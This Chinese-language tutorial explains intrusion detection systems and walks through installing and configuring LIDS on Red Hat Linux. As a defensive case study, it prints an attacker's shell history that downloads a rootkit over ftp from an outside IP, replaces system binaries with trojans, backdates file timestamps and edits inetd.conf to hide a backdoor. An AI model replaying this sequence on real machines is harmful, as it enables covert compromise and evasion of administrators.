我们已经接触了手工和自动运行的扫描程序。这些工具在审计过程中是非常有用的。你还使用了包嗅探器,这是另一个确定网络中存在哪些活动类型的工具。入侵监测系统会在两方面引起你的注意。首先,这种保护网络的形式变得越来越流行。你需要了解网络当前的结构来确定配置是否合适。第二,你可能在推荐这种产品,因此,你必须知道如何为特殊的网络情况推荐这种产品。
在测试过程中你可以使用多种类型的工具。这些工具在整个的审计过程中是必不可少的。它们会帮助你在枯燥乏味的分析过程中节省时间。
什么是入侵监测
入侵监测系统处于防火墙之后对网络活动进行实时检测。许多情况下,由于可以记录和禁止网络活动,所以入侵监测系统是防火墙的延续。它们可以和你的防火墙和路由器配合工作。例如,你的IDS可以重新配置来禁止从防火墙外部进入的恶意流量。你应当理解入侵监测系统是独立于防火墙工作的。
入侵监测系统IDS与系统扫描器system scanner不同。系统扫描器是根据攻击特征数据库来扫描系统漏洞的,它更关注配置上的漏洞而不是当前进出你的主机的流量。在遭受攻击的主机上,即使正在运行着扫描程序,也无法识别这种攻击。
IDS扫描当前网络的活动,监视和记录网络的流量,根据定义好的规则来过滤从主机网卡到网线上的流量,提供实时报警。网络扫描器检测主机上先前设置的漏洞,而IDS监视和记录网络流量。如果在同一台主机上运行IDS和扫描器的话,配置合理的IDS会发出许多报警。
入侵监测的功能
大多数的IDS程序可以提供关于网络流量非常详尽的分析。它们可以监视任何定义好的流量。大多数的程序对FTP,HTTP和Telnet流量都有缺省的设置,还有其它的流量像NetBus,本地和远程登录失败等等。你也可以自己定制策略。下面讨论一些更常见的检测技巧。
网络流量管理
像Computer Associates’ eTrust Intrusion Detection(以前是SessionWall),Axent Intruder Alert和ISS RealSecure等IDS程序允许你记录,报告和禁止几乎所有形式的网络访问。你还可以用这些程序来监视某一台主机的网络流量,eTrust Intrusion Detection可以读取这台主机上用户最后访问的Web页。
如果你定义了策略和规则,便可以获得FTP,SMTP,Telnet和任何其它的流量。这种规则有助于你追查该连接和确定网络上发生过什么,现在正在发生什么。这些程序在你需要确定网络中策略实施的一致性情况时是非常有效的工具。
虽然IDS是安全管理人员或审计人员非常有价值的工具,但公司的雇员同样可以安装像eTrust Intrusion Detection或Intrude Alert这样的程序来访问重要的信息。攻击者不仅可以读取未加密的邮件,还可以嗅探密码和收集重要的协议方面的信息。所以,你首要的工作是要检查在网络中是否有类似的程序在运行。
系统扫描,Jails和IDS
在本教程的早些时候,你学习到如何应用不同的策略来加强有效的安全。这项任务需要在网络中不同的部分实施控制,从操作系统到扫描器、IDS程序和防火墙。你已经使用过系统扫描器,许多安全专家将这些程序和IDS结合起来。系统完整性检查,广泛地记录日志,黑客“监狱”和引诱程序都是可以同IDS前后配合的有效工具。
追踪
IDS所能做到的不仅仅是记录事件,它还可以确定事件发生的位置,这是许多安全专家购买IDS的主要原因。通过追踪来源,你可以更多的了解攻击者。这些经验不仅可以帮你记录下攻击过程,同时也有助于确定解决方案。
入侵监测系统的必要性
防火墙看起来好像可以满足系统管理员的一切需求。然而,随着基于雇员的攻击行为和产品自身问题的增多,IDS由于能够在防火墙内部监测非法的活动正变得越来越必要。新的技术同样给防火墙带来了严重的威胁。例如,VPN可穿透防火墙,所以需要IDS在防火墙后提供安全保障。虽然VPN本身很安全,但有可能通过VPN进行通信的其中一方被root kit或NetBus所控制,而这种破坏行为是防火墙无法抵御的。基于以上两点原因,IDS已经成为安全策略的重要组成部分。
我们还需要注意的是,攻击者可以实施攻击使IDS过载,其结果可能是IDS系统成为拒绝服务攻击的参与者。而且,攻击者会尽量调整攻击手法,从而使IDS无法追踪网络上的活动。
入侵监测系统的构架
有两种构架的IDS可供选择,每种都有它的适用环境。虽然主机级的IDS具有更强的功能而且可以提供更详尽的信息,但它并不总是非常好的选择。
网络级IDS
你可以使用网络级的产品,象eTrust Intrusion Detection只需一次安装。程序(或服务)会扫描整个网段中所有传输的信息来确定网络中实时的活动。网络级IDS程序同时充当管理者和代理的身份,安装IDS的主机完成所有的工作,网络只是接受被动的查询。
优点和缺点
这种入侵监测系统很容易安装和实施;通常只需要将程序在主机上安装一次。网络级的IDS尤其适合阻止扫描和拒绝服务攻击。但是,这种IDS构架在交换和ATM环境下工作得不好。而且,它对处理升级非法账号,破坏策略和篡改日志也并不特别有效。在扫描大型网络时会使主机的性能急剧下降。所以,对于大型、复杂的网络,你需要主机级的IDS。
主机级IDS
像前面所讲的,主机级的IDS结构使用一个管理者和数个代理。管理者向代理发送查询请求,代理向管理者汇报网络中主机传输信息的情况。代理和管理者之间直接通信,解决了复杂网络中的许多问题。
技术提示:在应用任何主机级IDS之前,你需要在一个隔离的网段进行测试。这种测试可以帮助你确定这种Manager-to-agent的通信是否安全,以及对网络带宽的影响。
管理者Managers
管理者定义管理代理的规则和策略。管理者安装在一台经过特殊配置过的主机上,对网络中的代理进行查询。有的管理者具有图形界面儿其它的IDS产品只是以守护进程的形式来运行管理者,然后使用其它程序来管理它们。
物理安全对充当管理者的主机来说至关重要。如果攻击者可以获得硬盘的访问权,他便可以获得重要的信息。此外,除非必需管理者的系统也不应被网络用户访问到,这种限制包括Internet访问。
安装管理者的操作系统应该尽可能的安全和没有漏洞。有些厂商要求你使用特定类型的操作系统来安装管理者。例如,ISS RealSecure要求你安装在Windows NT Workstation而不是Windows NT Server,这是由于在NT Workstation上更容易对操作系统进行精简。
特殊的考虑
每种IDS厂商对他们的产品都有特殊的考虑。通常这些考虑是针对操作系统的特殊设置的。例如,许多厂商要求你将代理安装在使用静态IP地址的主机上。因此,你也许需要配置DHCP和WINS服务器来配合管理者。这种特殊的考虑在一定程度上解释了为什么大多数IDS程序用一个管理者来管理数台主机。另外,安装管理者会降低系统的性能。而且,在同一网段中安装过多的管理者会占用过多的带宽。
另外,许多IDS产品在快于10MB的网络中工作起来会有问题。通常IDS的厂商要求你不要将管理者安装在使用NFS或NFS+的UNIX操作系统上,因为这种文件系统允许远程访问,管理者会使它们缺乏稳定和不安全。
除非特殊情况,你不应将IDS的管理者安装在装了双网卡或多网卡的用做路由器的主机上,或者安装在防火墙上。例如,Windows NT PDC或BDC也不是安装大多数IDS管理者的理想系统,不仅因为管理者会影响登录,而且PDC或BDC所必须的服务会产生trap door和系统错误。
管理者和代理的比例
管理者和代理的比例数字会因生产厂商和版本的不同而不同。例如,Axent Intruder Alert建议在UNIX或NT的网络上不要使用超过100个代理,NetWare网络中每个管理者不应使用超过50个代理。然而,你需要建立基线来确定IDS结构的理想配置。理想配置是指IDS可以在不影响正常地网络操作的前提下实时监测网络入侵。
代理
由于代理负责监视网络安全,所以大多数的IDS允许你将代理安装在任何可以接受配置的主机上。当你在考虑产品时,你应当确保它可以和网络上的主机配合工作。大多数的产品在UNIX,NT和Novell网络环境中可以出色的工作。有些厂商也生产在特殊网络环境下工作的代理,例如DECnet,mainframes等等。无论如何,你应当通过测试来选择最适合你的网络的产品。所有的代理都工作在混杂模式,并且捕捉网络上传递的信息包。
理想的代理布局
请考虑将代理安装在像数据库,Web服务器,DNS服务器和文件服务器等重要的资源上。像eTrust Intrusion Detection这样的基于扫描的IDS程序也许更适合在某些特定的时段扫描个别的主机。这个工具能够确保你在占用最小带宽的前提下监视网络活动。
下列是部分适合放置代理资源的列表:
·账号、人力资源和研发数据库
·局域网和广域网的骨干,包括路由器和交换机
·临时工作人员的主机
·SMTP,HTTP和FTP服务器
·Modem池服务器和交换机、路由器、集线器
·文件服务器
许多新的网络连接设备限制了IDS扫描。
管理者和代理的通信
在你学习如何为网络挑选产品时,需要明确管理者和代理的通信方式。大多数的IDS程序要求你首先和管理者通信,然后管理者会查询代理。
通常,管理者和代理在通信时使用一种公钥加密。例如,Axent的产品使用400位长Diffie-Helman加密。标准的SSL会话使用128位的加密。比较这两种标准,你可以发现大多数的IDS厂商都采用安全的通信。
有些老的主机级的产品采用明文或经过非常弱地加密的会话。这种功能很具讽刺意味,由于明文传输易遭受hijacking和Man-in-the-middle攻击,这样会严重地破坏你监测和保护网络安全。
有些管理者可以和其它管理者通信。这种管理者之间的通信可以节省带宽并减轻你的管理负担。通过使用组织结构有可能避免这种通信。例如,Axent Intruder Alert(ITA)使用被称作domain的层次结构来组织代理。
审计管理者和代理的通信
作为审计人员,你应该对用户名和密码进行核实,而不应保留缺省设置。同时,你还要确保通信要经过加密和尽可能的安全。
混合入侵检测
基于网络的入侵检测产品和基于主机的入侵检测产品都有不足之处,单纯使用一类产品会造成主动防御体系不全面。但是,它们的缺憾是互补的。如果这两类产品能够无缝结合起来部署在网络内,则会构架成一套完整立体的主动防御体系,综合了基于网络和基于主机两种结构特点的入侵检测系统,既可发现网络中的攻击信息,也可从系统日志中发现异常情况。
规则
就像应用防火墙,你必须为IDS建立规则。大多数的IDS程序都有预先定义好的规则。你最好编辑已有的规则并且增加新的规则来为网络提供非常好的的保护。通常建立的规则有两大类:网络异常和网络误用。企业级的IDS通常可以实施上百条规则。
不同厂商在使用审计的术语时有所差别。例如,eTrust Intrusion Detection用“rules”来讨论安全审计的规则,而Intruder Alert却使用“policies”。你将会了解到Intruder Alert使用“policies”时意味更深远,它允许你为个别策略建立规则。因此,在理解各个厂商的产品时,不要被术语所迷惑。
网络异常的监测
IDS程序会报告协议级别的异常情况。如果配置正确的话,它可以提示你有关NetBus,Teardrop或Smurf攻击。例如,如果存在过多的SYN连接,IDS程序会向你报警。
网络误用监测
网络误用包括非工作目的的Web浏览,安装未授权的服务(如WAR FTP服务),和玩儿游戏(如Doom或Quake)。你可以对其进行日志记录,阻塞流量或主动地制止。例如,你可以利用程序实施反击或设置“dummy”系统或网络进行诱导。
网络误用是物理的,操作系统的或远程攻击的结果。物理攻击包括偷取硬盘或物理操纵机器来获取信息。操作系统攻击指经过验证的用户试图获得root的访问权限。远程攻击指攻击者通过网络来攻击设备。
常用检测方法
入侵检测系统常用的检测方法有特征检测、统计检测与专家系统。据公安部计算机信息系统安全产品质量监督检验中心的报告,国内送检的入侵检测产品中95%是属于使用入侵模板进行模式匹配的特征检测产品,其他5%是采用概率统计的统计检测产品与基于日志的专家知识库系产品。
特征检测
特征检测对已知的攻击或入侵的方式作出确定性的描述,形成相应的事件模式。当被审计的事件与已知的入侵事件模式相匹配时,即报警。原理上与专家系统相仿。其检测方法上与计算机病毒的检测方式类似。目前基于对包特征描述的模式匹配应用较为广泛。该方法预报检测的准确率较高,但对于无经验知识的入侵与攻击行为无能为力。
||||||统计检测
统计模型常用异常检测,在统计模型中常用的测量参数包括:审计事件的数量、间隔时间、资源消耗情况等。常用的入侵检测5种统计模型为:
1、操作模型,该模型假设异常可通过测量结果与一些固定指标相比较得到,固定指标可以根据经验值或一段时间内的统计平均得到,举例来说,在短时间内的多次失败的登录很有可能是口令尝试攻击;
2、方差,计算参数的方差,设定其置信区间,当测量值超过置信区间的范围时表明有可能是异常;
3、多元模型,操作模型的扩展,通过同时分析多个参数实现检测;
4、马尔柯夫过程模型,将每种类型的事件定义为系统状态,用状态转移矩阵来表示状态的变化,当一个事件发生时,或状态矩阵该转移的概率较小则可能是异常事件;
5、时间序列分析,将事件计数与资源耗用根据时间排成序列,如果一个新事件在该时间发生的概率较低,则该事件可能是入侵。
统计方法的最大优点是它可以“学习”用户的使用习惯,从而具有较高检出率与可用性。但是它的“学习”能力也给入侵者以机会通过逐步“训练”使入侵事件符合正常操作的统计规律,从而透过入侵检测系统。
专家系统
用专家系统对入侵进行检测,经常是针对有特征入侵行为。所谓的规则,即是知识,不同的系统与设置具有不同的规则,且规则之间往往无通用性。专家系统的建立依赖于知识库的完备性,知识库的完备性又取决于审计记录的完备性与实时性。入侵的特征抽取与表达,是入侵检测专家系统的关键。在系统实现中,将有关入侵的知识转化为if-then结构(也可以是复合结构),条件部分为入侵特征,then部分是系统防范措施。运用专家系统防范有特征入侵行为的有效性完全取决于专家系统知识库的完备性。
文件完整性检查
文件完整性检查系统检查计算机中自上次检查后文件变化情况。文件完整性检查系统保存有每个文件的数字文摘数据库,每次检查时,它重新计算文件的数字文摘并将它与数据库中的值相比较,如不同,则文件已被修改,若相同,文件则未发生变化。
文件的数字文摘通过Hash函数计算得到。不管文件长度如何,它的Hash函数计算结果是一个固定长度的数字。与加密算法不同,Hash算法是一个不可逆的单向函数。采用安全性高的Hash算法,如MD5、SHA时,两个不同的文件几乎不可能得到相同的Hash结果。从而,当文件一被修改,就可检测出来。在文件完整性检查中功能最全面的当属Tripwire。
文件完整性检查系统的优点
从数学上分析,攻克文件完整性检查系统,无论是时间上还是空间上都是不可能的。文件完整性检查系统是非常强劲的检测文件被修改的工具。实际上,文件完整性检查系统是一个检测系统被非法使用的最重要的工具之一。
文件完整性检查系统具有相当的灵活性,可以配置成为监测系统中所有文件或某些重要文件。
当一个入侵者攻击系统时,他会干两件事,首先,他要掩盖他的踪迹,即他要通过更改系统中的可执行文件、库文件或日志文件来隐藏他的活动;其它,他要作一些改动保证下次能够继续入侵。这两种活动都能够被文件完整性检查系统检测出。
文件完整性检查系统的弱点
文件完整性检查系统依赖于本地的文摘数据库。与日志文件一样,这些数据可能被入侵者修改。当一个入侵者取得管理员权限后,在完成破坏活动后,可以运行文件完整性检查系统更新数据库,从而瞒过系统管理员。当然,可以将文摘数据库放在只读的介质上,但这样的配置不够灵活性。
做一次完整的文件完整性检查是一个非常耗时的工作,在Tripwire中,在需要时可选择检查某些系统特性而不是完全的摘要,从而加快检查速度。
系统有些正常的更新操作可能会带来大量的文件更新,从而产生比较繁杂的检查与分析工作,如,在Windows NT系统中升级MS-Outlook将会带来1800多个文件变化。
入侵检测技术分析
执行动作 Action
在大多数的IDS程序中,你可以为规则赋予动作。在你定义规则时,通常必须考虑将规则实施到网络上的时机和方式。一项规则的其它元素包括:
·需要保护的主机。你可以指定某台主机或某一范围内的主机。
·需要做日志记录的和禁止的主机。你可以指定某台主机或某一范围内的主机。
·实施策略的时间段
·事件的描述
·对发生的事件如何反应,包括:
·重新配置防火墙
·阻塞特定的TCP连接日志记录机制
·邮件,传真,电话提示
·启动其它程序来阻止攻击
·SNMP陷阱
IDS程序要求你先建立规则,进而赋予动作。你可以自己定义规则。然而,大多数的IDS厂商已经设想了许多场景。这并不意味着你不需要建立自己的规则或编辑已经存在的规则来确保它们符合你的需求。
误报
如同实施防火墙,IDS也需要仔细地设置。否则,你将收到并不实际存在的攻击和问题的报告。误报“false positive”就是指这种不准确的报告。
然而,完全忽略误报是不明智的。IDS程序有时候会检测到一些非法的网络活动,即使并没有对这些活动定义规则。例如,许多IDS系统会报告说存在过多的与NetBus和某些UNIX的root kit相关的SYN连接。虽然你需要对误报引起重视,但你还必须培养识别何时忽略误报何时认真对待它们的能力。网络级的IDS更容易发生误报情况,尤其在它们被配置成检测对某些主机的攻击时,例如NetBus,密码攻击等等。
入侵检测产品选择要点
当您选择入侵检测系统时,要考虑的要点有:
1. 系统的价格
当然,价格是必需考虑的要点,不过,性能价格比、以及要保护系统的价值可是更重要的因素。
2. 特征库升级与维护的费用
象反病毒软件一样,入侵检测的特征库需要不断更新才能检测出新出现的攻击方法。
3. 对于网络入侵检测系统,最大可处理流量(包/秒 PPS)是多少
首先,要分析网络入侵检测系统所布署的网络环境,如果在512K或2M专线上布署网络入侵检测系统,则不需要高速的入侵检测引擎,而在负荷较高的环境中,性能是一个非常重要的指标。
4. 该产品容易被躲避吗
有些常用的躲开入侵检测的方法,如:分片、TTL欺骗、异常TCP分段、慢扫描、协同攻击等。
5. 产品的可伸缩性
系统支持的传感器数目、最大数据库大小、传感器与控制台之间通信带宽和对审计日志溢出的处理。
6. 运行与维护系统的开销
产品报表结构、处理误报的方便程度、事件与事志查询的方便程度以及使用该系统所需的技术人员数量。
7. 产品支持的入侵特征数
不同厂商对检测特征库大小的计算方法都不一样,所以不能偏听一面之辞。
8. 产品有哪些响应方法
要从本地、远程等多个角度考察。自动更改防火墙配置是一个听上去很“酷”的功能,但是,自动配置防火墙可是一个极为危险的举动。
9. 是否通过了国家权威机构的评测
主要的权威测评机构有:国家信息安全测评认证中心、公安部计算机信息系统安全产品质量监督检验中心。
入侵检测技术发展方向
无论从规模与方法上入侵技术近年来都发生了变化。入侵的手段与技术也有了“进步与发展”。入侵技术的发展与演化主要反映在下列几个方面:
入侵或攻击的综合化与复杂化。入侵的手段有多种,入侵者往往采取一种攻击手段。由于网络防范技术的多重化,攻击的难度增加,使得入侵者在实施入侵或攻击时往往同时采取多种入侵的手段,以保证入侵的成功几率,并可在攻击实施的初期掩盖攻击或入侵的真实目的。
入侵主体对象的间接化,即实施入侵与攻击的主体的隐蔽化。通过一定的技术,可掩盖攻击主体的源地址及主机位置。即使用了隐蔽技术后,对于被攻击对象攻击的主体是无法直接确定的。
入侵或攻击的规模扩大。对于网络的入侵与攻击,在其初期往往是针对于某公司或一个网站,其攻击的目的可能为某些网络技术爱好者的猎奇行为,也不排除商业的盗窃与破坏行为。由于战争对电子技术与网络技术的依赖性越来越大,随之产生、发展、逐步升级到电子战与信息战。对于信息战,无论其规模与技术都与一般意义上的计算机网络的入侵与攻击都不可相提并论。信息战的成败与国家主干通信网络的安全是与任何主权国家领土安全一样的国家安全。
入侵或攻击技术的分布化。以往常用的入侵与攻击行为往往由单机执行。由于防范技术的发展使得此类行为不能奏效。所谓的分布式拒绝服务(DDoS)在很短时间内可造成被攻击主机的瘫痪。且此类分布式攻击的单机信息模式与正常通信无差异,所以往往在攻击发动的初期不易被确认。分布式攻击是近期最常用的攻击手段。
攻击对象的转移。入侵与攻击常以网络为侵犯的主体,但近期来的攻击行为却发生了策略性的改变,由攻击网络改为攻击网络的防护系统,且有愈演愈烈的趋势。现已有专门针对IDS作攻击的报道。攻击者详细地分析了IDS的审计方式、特征描述、通信模式找出IDS的弱点,然后加以攻击。
今后的入侵检测技术大致可朝下述三个方向发展。
分布式入侵检测
第一层含义,即针对分布式网络攻击的检测方法;第二层含义即使用分布式的方法来检测分布式的攻击,其中的关键技术为检测信息的协同处理与入侵攻击的全局信息的提取。
智能化入侵检测
即使用智能化的方法与手段来进行入侵检测。所谓的智能化方法,现阶段常用的有神经网络、遗传算法、模糊技术、免疫原理等方法,这些方法常用于入侵特征的辨识与泛化。利用专家系统的思想来构建入侵检测系统也是常用的方法之一。特别是具有自学习能力的专家系统,实现了知识库的不断更新与扩展,使设计的入侵检测系统的防范能力不断增强,应具有更广泛的应用前景。应用智能体的概念来进行入侵检测的尝试也已有报道。较为一致的解决方案应为高效常规意义下的入侵检测系统与具有智能检测功能的检测软件或模块的结合使用。
全面的安全防御方案
即使用安全工程风险管理的思想与方法来处理网络安全问题,将网络安全作为一个整体工程来处理。从管理、网络结构、加密通道、防火墙、病毒防护、入侵检测多方位全面对所关注的网络作全面的评估,然后提出可行的全面解决方案。
基于内核的入侵检测
基于内核的入侵检测是一种相当巧妙的新型的Linux入侵检测系统。现在最主要的基于内核的入侵检测系统叫做LIDS。
什么是LIDS?LIDS是一种基于Linux内核的入侵检测和预防系统。
LIDS的保护目的是防止超级用户root的篡改系统重要部分的。LIDS主要的特点是提高系统的安全性,防止直接的端口连接或者是存储器连接,防止原始磁碟的使用,同时还要保护系统日志文件。LIDS当然也会适当制止一些特定的系统操作,譬如:安装sniffer、修改防火墙的配置文件。
||||||LIDS文档工程
LIDS比安装PortSentry和LogCheck要复杂一点,但是很幸运的是,在LIDS的主页上面有详细的安装和配置手册。
安装LIDS
首先,在安装之前,我们需要大部分最新的LIDS软件包(我使用的是0.9)和适当的内核版本。我现在使用的是从Red Hat主页上下载的2.2.14-12版本的内核,因为其中包含一些安全补丁。同时你也需要你使用的内核的一些源代码。
现在的LIDS主要是适用于2.2.14版本的内核。我安装的在2.2.14的内核的Red Hat Linux 6.2上面安装了LIDS。在安装LIDS之前,我在ftp.redhat.com下载了最新的内核版本,并且依照http://www.redhat.com/support/docs/howto/kernel-upgrade/kernel-upgrade.html 安装了这个内核。
接着的事情就是升级内核源代码。这里我们是这样做的:
rpm -Uhv kernel-source-2.2.14-12.i386.rpm然后就是编译和安装lidsadm这个程序:
cd /usr/local/src/security/lids-0.9/lidsadm-0.9make
make install
生成一个RipeMD-160口令,这个以后将会在安装进内核的:
lidsadm -P输入口令是"anypass",得到秘钥"d502d92bfead11d1ef17887c9db07a78108859e8"。接着,我把Redhat的配置文件拷贝到我的结构体系中,在/usr/src/linux目录下面:
cd /usr/src/linux/configs/
cp kernel-2.2.12-i686.config ..
下面我们就使用下面的命令来安装LIDS:
cd /usr/src
patch -p0 同时我们应该注意到Red Hat所提供的内核和Linus发布的标准的2.2.14版本的内核有一些细微的差别,因为其中包含一些修改过的驱动程序。同样lids-0.9-2.2.14-redhat.patch文件也是和LIDS发布的标准的lids-0.9-2.2.14.patch有一些细微的差别,不过可能后者并不是特别适合于Red Hat系统。
最后,就是配置、编译和安装内核了:
cd /usr/src/linuxmake menuconfig
make dep; make clean
make
install; make modules; make modules_install
下面的脚本展示了在配置内核的过程中我设置的LIDS配置选项:
[*] Linux Intrusion Detection System support (EXPERIMENTAL)--- LIDS features
[ ] Hang up console when raising a securit alert
[*] Security alert when execing unprotected programs before sealing
[ ] Do not execute unprotected programs before sealing LIDS
[*] Enable init children lock feature
[*] Try not to flood logs
(60) Authorised time between two identic logs (seconds)
[*] Allow switching LIDS protections
RipeMD-160 encrypted password: d502d92bfead11d1ef17887c9db07a78108859e8
(3) Number of attempts to submit password
(3) Time to wait after a fail (seconds)
[*] Allow remote users to switch LIDS protections
[ ] Allow any program to switch LIDS protections
[*] Allow reloading config. file
[ ] Hide some known processes
[*] Port Scanner Detector in kernel
[ ] Send security alerts through network
--- Special authorizations
[ ] Allow some known processes to access /dev/mem (xfree, etc.)
[ ] Allow some known processes to access raw disk devices
[ ] Allow some known processes to access io ports
[ ] Allow some known processes to change routes
--- Special UPS
[*] Allow some known processes to unmount devices
Allowed processes: "/etc/rc.d/init.d/halt;/etc/rc.d/init.d/netfs"
[*] Unmounting capability is inherited
[*] Allow some known processes to kill init children
Allowed processes: "/etc/rc.d/init.d/halt"
[*] Killing capability is inherited
看得出,我没有使用UPS,同时运行的是一个需要能够远程访问的服务器,我就按照上面的文件进行了配置,但是在实际应用过程中,每个人的系统根据环境不一样,会有一些差别。
配置LIDS:
有一条特别要引起注意:在你的系统的下一次重启之前就应该配置好LIDS!我们应该使用lidsam来配置LIDS的配置文件/etc/lids.conf,而不能手动的修改。运行"lidsadm -h"可以获得一些关于如何使用lidsadm这个程序的帮助。LIDS提供了很多使用LIDS保护文件的例子,例如:
lidsadm -A -r /sbin 这条命令保护/sbin整个目录,并且表示只读。
我首先的LIDS配置文件应该是这样的:
lidsadm -Zlidsadm -A -r /usr/bin
lidsadm -A -r /bin
lidsadm -A -r /usr/sbin
lidsadm -A -r /sbin
lidsadm -A -r /usr/X11R6/bin
lidsadm -A -r /etc/rc.d
lidsadm -A -r /etc/sysconfig
一旦配置了LIDS的配置文件,就应该修改系统的启动文件保证在系统启动的时候就能运行LIDS,这样就能有效的在内核中启动LIDS的作用。一般我都是把lidsadm加到/etc/rc.d/rc.local的末尾,这样能够保证LIDS的功能不会妨碍系统的其他应用程序的正常启动。下面就是我加在/etc/rc/d/rc.local中用来启动LIDS的脚本:
/sbin/lidsadm -I -- -CAP_SYS_MODULE -CAP_SYS_RAWIO
-CAP_SYS_ADMIN-CAP_SYS_PTRACE -CAP_NET_ADMIN -CAP_LINUX_IMMUTABLE
+INIT_CHILDREN_LOCK
配置lilo
我们知道,使用Redhat的RPMS升级系统内核以后需要重新配置lilo.conf来保证编译加载过LIDS的新内核能够正常的启动。在下次重启之后,LIDS将会在系统中运行,不过如果你需要停止LIDS而执行一些系统的任务,就应该按照下面的命令进行:
/sbin/lidsadm -S -- -LIDS或者/sbin/lidsadm -S -- -LIDS_GLOBAL
你需要提供LIDS的口令,当时在编译内核的时候在内核中加入了RipeMD-160格式。不知道你是否注意到了,在shutdown的脚本中,很多脚本都不能正常的工作。最终的shutdown脚本/etc/rc.d/init.d/halt将会停止所有的进程和卸载文件系统。由于在文件rc.local中 "+INIT_CHILDREN_LOCK"的保护作用,其他的进程都没有权限来杀掉init()的其他子进程。同时每隔10分钟,你就会收到一个关于"rmmod as"不能卸载模块的出错信息。这个主要是由于LIDS启动以后"-CAP_SYS_MODULE"的保护使得模块的插入或者卸载出现了毛病。我们可以删除/etc/cron.d/kmod这个文件来防止出错信息继续发生。
||||||LIDS能够保护什么?
快速的浏览LIDS的文档就可以了解LIDS的一系列特性。而我认为下面的这些特性是最重要的:
CAP_LINUX_IMMUTABLE 当文件和外那间系统被标识"immutable"防止被写; CAP_NET_ADMIN 防止篡改网络配置(例如:防止路由表被修改);
CAP_SYS_MODULE 防止内核模块被插入或者移除;CAP_SYS_RAWIO 防止损坏磁盘或者设备I/O;
CAP_SYS_ADMIN 防止大范围的使用其他系统功能;
INIT_CHILDREN_LOCK which prevents child processes of the init() master process from being tampered with.
无论在哪个点,上面这些特性都能够通过命令"lidsadm -I"来启动,通过"lidsadm -S"来禁用(可以允许真正的系统管理员来进行系统配置),同时提供已经安装在内核中的LIDS口令(是通过RipeMD-160加密的)。
剖析一次入侵
当黑客把一些系统守护进程的缓冲区溢出以后就可以获得root权限,这个时候就是主机被入侵了(事实上是不可能发生的,但是安装Linux系统的人忘记了打上RedHat最新的关于缓冲区溢出的补丁程序,并且让系统一直运行着)。当然一些黑客也不够小心,当他们侵入主机后,很急切的获得了shell,但是他们经常没有考虑到BASH的命令将会被存入系统日志文件中,简单的阅读/.bash_history就可以了解黑客到底怎么机器上面作了一些什么事情。这个文件我们可以看看(为了更加简单我们做过一些细微的修改): mkdir /usr/lib/... ; cd /usr/lib/...ftp 200.192.58.201 21
cd /usr/lib/...
mv netstat.gz? netstat.gz; mv ps.gz? ps.gz; mv pstree.gz? pstree.gz;
mv pt07.gz? pt07.gz; mv slice2.gz? slice2.gz; mv syslogd.gz? syslogd.gz;
mv tcpd.gz? tcpd.gz
gzip -d *
chmod +x *
mv netstat /bin ; mv ps /bin ; mv tcpd /usr/sbin/; mv syslogd /usr/sbin;
mv pt07 /usr/lib/; mv pstree /usr/bin ;
/usr/lib/pt07
touch -t 199910122110 /usr/lib/pt07
touch -t 199910122110 /usr/sbin/syslogd
touch -t 199910122110 /usr/sbin/tcpd
touch -t 199910122110 /bin/ps
touch -t 199910122110 /bin/netstat
touch -t 199910122110 /usr/bin/pstree
cat /etc/inetd.conf | grep -v 15678 >> /tmp/b
mv /tmp/b /etc/inetd.conf
killall -HUP inetd
通读这些内容,我们就可以了解下面的一些动作:
系统中建立了一个名字异常的目录(/usr/lib),接着黑客telnet到了自己的主机上面(200.192.58.201,是Brazil某个地方的拨号用户),同时下载了一套黑客工具。这些黑客工具尸没有经过压缩的,中间的一些特洛伊二进制程序被安装到了系统中了,这些特洛伊程序覆盖了系统的netstat,ps, tcpd, syslogd和pstree命令。这些程序是用来报告系统有那些进程正在运行,那些端口是打开的。
首先,LIDS是不能阻止一次入侵的,黑客连接上主机通过缓冲区溢出的方式获得系统的root权限。一旦系统没有黑客入侵,我们看看LIDS是如何使破坏降到最低的。
LIDS通过CAP_LINUX_IMMUTABLE选项可以防止特洛尹程序被写入到/bin,/usr/bin,/usr/sbin和/usr/lib目录中。这些目录我们一般都会标识为不可变的(chattr +i),因而也不会被修改。我们可以注意到,就算不使用LIDS,也可以通过chattr +I命令来标识目录为不可变的,但是如果是通过LIDS以后,即使是root也不能篡改不可变标识位。类似的,如果文件通过chattr +I被标识为,touck -t这个命令也会失败。甚至第一行的"mkdir /etc/lib"这个命令也会失败,如果我们标识文件为不可读的话。
LIDS不能防止黑客入侵,但是可以防止入侵的黑客在侵入后进行很大的系统破坏。一个后门程序可以被安装上系统,但是没有特洛亦版本的ps,netstat和pstree能够很早的发现这个后门进程,然后kill之。如果没有LIDS,我们不可能知道黑客通过这个后门程序会做一些什么事情,我们唯一能够进行挽回的工作就是重装系统。
OpenWall和LIDS----额外的层
另外一个和LIDS相似的系统是OpenWall工程。OpenWall工程在很多地方和LIDS不一样,有一个OpenWall的特别的补丁就是使栈区为不可执行。下面是摘自OpenWall的README文档里面的申明:
大多数缓冲区溢出攻击都是基于覆盖一些随意的程序片段中的函数返回值在堆栈中的地址,如果堆栈为不可执行,那么缓冲区溢出的弱点将会变得很难攻击。另外一种缓冲区溢出的方式是在libc中指出一个函数的返回地址,通常是system()。这个补丁通过修改mmap()化的共享库,使其总是一个零字节的文件。这样使其不能再指定一些数据,在很多攻击中不得不使用ASCIIZ字符串。
最近,在LIDS的网上上有一些完整的LIDS+OpenWall的内核补丁,这样可以提供LIDS和OpenWall都具备的特性。
在Linux系统中,通过使用这一系列的多层的安全措施,可以防止很大范围的攻击,同时还可以防止入侵或者篡改。系统被黑客入侵口就是网络接口,在网络接口,系统内核上我们都可以防止他人的入侵。意识到系统中的一些潜在的安全漏洞。任何运行在系统上的守护进程或者服务,不管是root用户还是非root用户运行的,都能够成为一个潜在的安全威胁。充分准备好面对这些威胁。
入侵监测系统软件
突出的IDS厂商包括Axent,ISS和Platinum Technology。在你选择产品时,请充分考虑哪一款产品更适合你的公司。有些产品具有优秀的图形界面,很容易使用。其它产品可能更具有扩展性。下列是部分厂商列表:
·Axent Intruder Alert(http://www.axent.com/)Cisco NetRanger(http://www.cisco.com/)
·ISS RealSecure(http://www.iss.net/)
·Computer Associates’ eTrust Intrusion Detection(formerly SessionWall 3)
·Computer Misuse Detection System(http://www.cmds.net/)
·Network Flight Recorder(http://www.nfr.com)
·Network Associates’ CyberCop Monitor(http://www.networkassociates.com)
Intruder Alert
Intruder Alert(ITA)是使用管理者/代理结构的功能强大的产品。管理者和代理可以运行于UNIX,NT和Novell网络中。ITA的第一个优点是它可以在许多网络环境中应用。由于公司很少只应用单一厂商的产品,所以你选择的IDS应该可以适用于尽可能多的厂商的产品。
